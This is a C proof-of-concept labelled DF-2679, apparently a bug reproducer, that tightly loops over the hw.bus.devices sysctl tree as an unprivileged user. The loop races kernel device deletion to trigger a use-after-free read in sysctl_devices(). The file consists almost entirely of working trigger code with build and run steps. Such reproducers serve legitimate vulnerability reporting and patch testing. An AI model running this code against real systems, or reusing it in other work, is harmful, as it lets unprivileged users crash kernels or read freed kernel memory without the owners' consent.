DF-2679 / walker.c
/* * DF-2679 PoC: unprivileged NEWBUS sysctl reader. * Walks hw.bus.devices.<generation>.<index> in a tight loop, exactly like * devinfo(8) does. Races device_delete_child() (kfree of bsd_device) on * the kernel side -> use-after-free read in sysctl_devices(). * * Build: cc -O2 -o walker walker.c * Run as an UNPRIVILEGED user. */ #include <sys/types.h> #include <sys/sysctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> struct u_businfo { int ub_version; int ub_generation; }; struct u_device { uintptr_t dv_handle; uintptr_t dv_parent; char dv_name[32]; char dv_desc[32]; char dv_drivername[32]; char dv_pnpinfo[128]; char dv_location[128]; uint32_t dv_devflags; uint16_t dv_flags; int dv_state; }; int main(int argc, char **argv) { int mib_info[CTL_MAXNAME], mib_dev[CTL_MAXNAME]; size_t miblen, len; struct u_businfo ub; struct u_device ud; unsigned long iters = 0, fetches = 0, maxidx = 0; int idx, gen = -1, i; char name[128]; miblen = CTL_MAXNAME; if (sysctlnametomib("hw.bus.info", mib_info, &miblen) != 0) { perror("sysctlnametomib hw.bus.info"); exit(1); } miblen = CTL_MAXNAME; if (sysctlnametomib("hw.bus.devices", mib_dev, &miblen) != 0) { perror("sysctlnametomib hw.bus.devices"); exit(1); } fprintf(stderr, "walker: info mib len=%zu dev mib len=%zu base=%d.%d.%d\n", (size_t)3, miblen, mib_dev[0], mib_dev[1], mib_dev[2]); for (;;) { len = sizeof(ub); if (sysctl(mib_info, 3, &ub, &len, NULL, 0) != 0) { perror("sysctl hw.bus.info"); usleep(1000); continue; } if (ub.ub_generation != gen) { fprintf(stderr, "walker: generation %d\n", ub.ub_generation); gen = ub.ub_generation; } mib_dev[miblen] = gen; for (idx = 0; ; idx++) { mib_dev[miblen + 1] = idx; len = sizeof(ud); if (sysctl(mib_dev, miblen + 2, &ud, &len, NULL, 0) != 0) break; fetches++; /* touch the data so the copy is not optimized away */ for (i = 0; i < (int)sizeof(ud.dv_name); i += 16) name[(i / 16) % sizeof(name)] = ud.dv_name[i]; } if ((unsigned long)idx > maxidx) maxidx = idx; iters++; if ((iters & 0x3ff) == 0) fprintf(stderr, "walker: iters=%lu fetches=%lu maxidx=%lu gen=%d\n", iters, fetches, maxidx, gen); } /* NOTREACHED */ return (0); } |